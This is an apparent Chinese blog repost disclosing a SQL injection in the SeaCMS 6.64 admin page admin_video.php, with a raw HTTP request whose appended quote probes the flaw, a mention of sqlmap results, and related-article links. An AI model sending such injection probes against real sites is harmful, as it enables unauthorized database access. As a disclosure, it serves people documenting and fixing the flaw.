SeaCMS 6.64 sql注入

時間 2020-05-30

標籤 seacms 6.64 sql 注入欄目 SQL 简体版

原文原文鏈接

SeaCMS 6.64 sql注入

請求數據包：
order參數存在sql注入php

GET /seacms6.64/upload/admin/admin_video.php?repeat=ok&order=v_name&allrepeat=ok' HTTP/1.1
Host: 172.16.173.249
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://172.16.173.203/seacms6.64 ... e.php?action=repeat
Cookie: PHPSESSID=odsoljsk6cvfkvcgm0i03v8np6
Connection: close
Upgrade-Insecure-Requests: 1html

sqlmap掃描結果：
sql

數據庫名：
數據庫

1. seacms 6.64 目錄遍歷
2. Seacms漏洞
3. SQL注入：SQL注入類型（手動）&SQL注入的檢測
4. SQL注入-SQL注入基礎
5. SQL注入（三）#sql注入 bugku
6. SQL注入：SQL注入的原理
7. SQL注入：SQL注入防護
8. SQL注入：Sql注入之sqlmapapi介紹
9. sql注入---盲注
10. SQL注入---盲注
更多相關文章...
• SQLite 注入 - SQLite教程
• Spring DI（依賴注入）的實現方式：屬性注入和構造注入 - Spring教程
• YAML 入門教程
• Spring Cloud 微服務實戰(三) - 服務註冊與發現

相關標籤/搜索